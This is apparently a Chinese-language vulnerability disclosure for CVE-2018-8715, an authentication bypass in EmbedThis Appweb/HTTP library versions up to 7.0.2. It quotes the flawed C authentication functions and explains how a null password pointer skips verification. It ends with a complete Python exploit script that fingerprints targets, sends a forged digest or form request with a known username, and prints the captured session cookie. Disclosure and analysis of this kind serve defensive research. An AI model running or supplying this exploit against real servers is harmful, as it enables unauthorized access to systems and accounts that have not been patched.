导语:最近,在EmbedThis HTTP程序库和Appweb(版本5.5.x、6.x、7.x以及git存储库中的最新版本)中发现了一个严重漏洞,具体来说,就是由于存在逻辑漏洞,导致攻击者可以通过伪造的HTTP请求,绕过表单和摘要登录类型的身份验证。
漏洞摘要
最近,在EmbedThis HTTP程序库和Appweb(版本5.5.x、6.x、7.x以及git存储库中的最新版本)中发现了一个严重漏洞(CVE编号:CVE-2018-8715),具体来说,就是由于存在逻辑漏洞,导致攻击者可以通过伪造的HTTP请求,绕过表单和摘要登录类型的身份验证。
受影响的软件版本
Appweb 7.0.2及早期版本
独立安全研究员Davide Quarta(@_ocean)和Truel IT团队已经向Beyond Security的SecuriTeam Secure Disclosure计划报告了这一漏洞。
供应商的响应
接到报告后,供应商迅速作出了响应,在两天时间内不仅提供了相应的安全补丁,并将软件Appweb更新到最新版本7.0.3,同时发布了相应的安全公告:https://github.com/embedthis/appweb/issues/610
漏洞详情
由于认证过程存在逻辑漏洞,因此,攻击者只要知道目标用户名,就能利用精心设计的HTTP POST请求完全绕过表单和摘要类型的身份认证。
文件http/httpLib.c——函数authCondition()
这个函数负责调用负责认证的两个函数:getCredentials和httpLogin。需要注意的是,它们没有对httpGetCredentials进行相应的检查,这一点在后面的漏洞利用中非常有帮助。
14559 static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op)14560 {14561 HttpAuth *auth;14562 cchar *username, *password;1456314564 assert(conn);14565 assert(route);1456614567 auth = route->auth;14568 if (!auth || !auth->type) {14569 /* Authentication not required */14570 return HTTP_ROUTE_OK;14571 }14572 if (!httpIsAuthenticated(conn)) {14573 httpGetCredentials(conn, &username, &password);14574 if (!httpLogin(conn, username, password)) {14575 if (!conn->tx->finalized) {14576 if (auth && auth->type) {14577 (auth->type->askLogin)(conn);14578 } else {14579 httpError(conn, HTTP_CODE_UNAUTHORIZED, "Access Denied, login required");14580 }14581 /* Request has been denied and a response generated. So OK to accept this route. */14582 }14583 return HTTP_ROUTE_OK;14584 }14585 }14586 if (!httpCanUser(conn, NULL)) {14587 httpTrace(conn, "auth.check", "error", "msg:'Access denied, user is not authorized for access'");14588 if (!conn->tx->finalized) {14589 httpError(conn, HTTP_CODE_FORBIDDEN, "Access denied. User is not authorized for access.");14590 /* Request has been denied and a response generated. So OK to accept this route. */14591 }14592 }14593 /* OK to accept route. This does not mean the request was authenticated - an error may have been already generated */14594 return HTTP_ROUTE_OK;14595 } 文件http/httpLib.c——函数httpGetCredentials()
该函数接收两个指向char数组的指针作为参数,这些数组中保存了从请求中解析出的用户名和密码。 由于在authCondition函数中没有进行相应的检查,所以“parseAuth”函数是否失败并不重要,换句话说,我们可以根据自己的需要,在WWW-Authenticate头部或post数据中插入相应的数据来进行身份验证:
1640 /* 1641 Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the 1642 rx->authDetails will contain the credentials and the parseAuth callback will be invoked to parse. 1643 Otherwise, it is expected that "username" and "password" fields are present in the request parameters. 1644 1645 This is called by authCondition which thereafter calls httpLogin 1646 */ 1647 PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password) 1648 { 1649 HttpAuth *auth; 1650 1651 assert(username); 1652 assert(password); 1653 *username = *password = NULL; 1654 1655 auth = conn->rx->route->auth; 1656 if (!auth || !auth->type) { 1657 return 0; 1658 } 1659 if (auth->type) { 1660 if (conn->authType && !smatch(conn->authType, auth->type->name)) { 1661 if (!(smatch(auth->type->name, "form") && conn->rx->flags & HTTP_POST)) { 1662 /* If a posted form authentication, ignore any basic|digest details in request */ 1663 return 0; 1664 } 1665 } 1666 if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) { 1667 return 0; 1668 } 1669 } else { 1670 *username = httpGetParam(conn, "username", 0); 1671 *password = httpGetParam(conn, "password", 0); 1672 } 1673 return 1; 1674 }
文件http/httpLib.c ——函数httpLogin()
这个函数将检查username是否为null,当已经存在一个已经关联的会话时,password指针可以为空。
1686 PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password) 1687 { 1688 HttpRx *rx; 1689 HttpAuth *auth; 1690 HttpSession *session; 1691 HttpVerifyUser verifyUser; 1692 1693 rx = conn->rx; 1694 auth = rx->route->auth; 1695 if (!username || !*username) { 1696 httpTrace(conn, "auth.login.error", "error", "msg:'missing username'"); 1697 return 0; 1698 } 1699 if (!auth->store) { 1700 mprLog("error http auth", 0, "No AuthStore defined"); 1701 return 0; 1702 } 1703 if ((verifyUser = auth->verifyUser) == 0) { 1704 if (!auth->parent || (verifyUser = auth->parent->verifyUser) == 0) { 1705 verifyUser = auth->store->verifyUser; 1706 } 1707 } 1708 if (!verifyUser) { 1709 mprLog("error http auth", 0, "No user verification routine defined on route %s", rx->route->pattern); 1710 return 0; 1711 } 1712 if (auth->username && *auth->username) { 1713 /* If using auto-login, replace the username */ 1714 username = auth->username; 1715 password = 0; 1716 } 1717 if (!(verifyUser)(conn, username, password)) { 1718 return 0; 1719 } 1720 if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) { 1721 if ((session = httpCreateSession(conn)) == 0) { 1722 /* Too many sessions */ 1723 return 0; 1724 } 1725 httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username); 1726 httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip); 1727 } 1728 rx->authenticated = 1; 1729 rx->authenticateProbed = 1; 1730 conn->username = sclone(username); 1731 conn->encoded = 0; 1732 return 1; 1733 }
<em>File http/httpLib.c – function configVerfiyUser()</em>
以下函数首先会检查是否存在合法的用户(当然,合法性可能是由会话的相关设置确定的,或者是因为已通过身份认证),但是,由于能够传递空密码(见第2031行),所以攻击者可以绕过实际的检查并成功通过身份验证,从而到达第2055行。
2014 /* 2015 Verify the user password for the "config" store based on the users defined via configuration directives. 2016 Password may be NULL only if using auto-login. 2017 */ 2018 static bool configVerifyUser(HttpConn *conn, cchar *username, cchar *password) 2019 { 2020 HttpRx *rx; 2021 HttpAuth *auth; 2022 bool success; 2023 char *requiredPassword; 2024 2025 rx = conn->rx; 2026 auth = rx->route->auth; 2027 if (!conn->user && (conn->user = mprLookupKey(auth->userCache, username)) == 0) { 2028 httpTrace(conn, "auth.login.error", "error", "msg: 'Unknown user', username:'%s'", username); 2029 return 0; 2030 } 2031 if (password) { 2032 if (auth->realm == 0 || *auth->realm == '\0') { 2033 mprLog("error http auth", 0, "No AuthRealm defined"); 2034 } 2035 requiredPassword = (rx->passwordDigest) ? rx->passwordDigest : conn->user->password; 2036 if (sncmp(requiredPassword, "BF", 2) == 0 && slen(requiredPassword) > 4 && isdigit(requiredPassword[2]) && 2037 requiredPassword[3] == ':') { 2038 /* Blowifsh */ 2039 success = mprCheckPassword(sfmt("%s:%s:%s", username, auth->realm, password), conn->user->password); 2040 2041 } else { 2042 if (!conn->encoded) { 2043 password = mprGetMD5(sfmt("%s:%s:%s", username, auth->realm, password)); 2044 conn->encoded = 1; 2045 } 2046 success = smatch(password, requiredPassword); 2047 } 2048 if (success) { 2049 httpTrace(conn, "auth.login.authenticated", "context", "msg:'User authenticated', username:'%s'", username); 2050 } else { 2051 httpTrace(conn, "auth.login.error", "error", "msg:'Password failed to authenticate', username:'%s'", username); 2052 } 2053 return success; 2054 } 2055 return 1; 2056 }
为了绕过认证,我们需要传递一个空密码指针,幸运的是,对于表单和摘要认证来说,用于解析认证细节的函数(见第1666行)允许我们设置空密码指针,并且即使返回错误,最终也不会进行authCondition检查,所以能够完全绕过认证,也就是说,这个漏洞利用方法唯一的限制就是需要知道hashmap中的用户名。
不过也不用太担心,因为hashmap通常很小,并且它所用的哈希算法(FNV)也很弱,所以,只需进行有限数量的尝试,就可能找到一个碰撞值,有了它,就是不知道有效的用户名,也能进行登陆了(注:还未经测试)。
Exploit代码
import sys import requests import argparse print """---------------------------------------------------------------- Embedthis Appweb/Http Zero-Day Form/Digest Authentication Bypass ---------------------------------------------------------------- """ def test_digest(r): auth = ["realm", "domain", "qop", "nonce", "opaque", "algorithm", "stale", "MD5", "FALSE", "Digest"] wwwauthenticate = r.headers.get('WWW-Authenticate') if wwwauthenticate is None: return False for k in auth: if k not in wwwauthenticate: return False return True def test_form(r): """ extremely shoddy recognition, expect false positives """ auth = [("X-XSS-Protection", "1; mode=block"), ("X-Content-Type-Options", "nosniff"), ("ETag", None), ("Date", None)] potential_auth = [("Last Modified", ""), ("X-Frame-Options", "SAMEORIGIN"), ("Accept-Ranges", "bytes"), ("Content-Type", "text/html")] if r.headers.get("WWW-Authenticate") is not None: return False for k, v in auth: rv = r.headers.get(k) if not rv: return False if v is not None and v != rv: return False potential_count = 0 for k, v in potential_auth: rv = r.headers.get(k) if rv and v != "" and v == rv: potential_count += 1 print "[+] Optional matchings: {}/{}".format(potential_count, len(potential_auth)) return True def test(url): """ Newer EmbedThis HTTP Library/Appweb versions do not advertise their presence in headers, sometimes might be proxied by nginx/apache, we can only look for a default headers configuration """ r = requests.get(url) # EmbedThis GoAhead uses a similar headers configuration, let's skip it explicitly serv = r.headers.get("Server") if serv and "GoAhead" in serv: return False if test_digest(r): return "digest" elif test_form(r): return "form" return None def exploit(url, username="joshua", authtype="digest"): payload = { "username": username } headers = { "authorization": "Digest username={}".format(username), "user-agent": "TruelBot", "content-type": "application/x-www-form-urlencoded", } if authtype == "digest": r = requests.get(url, data=payload, headers=headers) else: r = requests.post(url, data=payload, headers=headers) print(r.content) if r.status_code != 200 or len(r.cookies) < 1: print "[!] Exploit failed, HTTP status code {}".format(r.status_code) return print "[*] Succesfully exploited, here's your c00kie:\n {}".format(dict(r.cookies)) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Test&Exploit EmbedThis form/digest authentication bypass (CVE-XXXX-YYYY)") parser.add_argument('-t', '--target', required=True, help="specify the target url (i.e., http(s)://target-url[:port]/)") parser.add_argument('-u', '--user', required=True, help="you need to know a valid user name") parser.add_argument('-c', '--check', action='store_true', default=False, help="test for exploitability without running the actual exploit") parser.add_argument('-f', '--force', action='store_true', default=False, help="skip exploitability test") args = parser.parse_args() url = args.target username = args.user t = "form" # default will try form/post if args.check or not args.force: t = test(url) if t is None: print "[!] Target does not appear to be Appweb/Embedthis HTTP with form/post auth (force with -f)" else: print "[+] Potential appweb/embedthis http, {} method".format(t) if not args.check: print "[!] Exploiting {}, user {}!".format(url, username) exploit(url, username, t)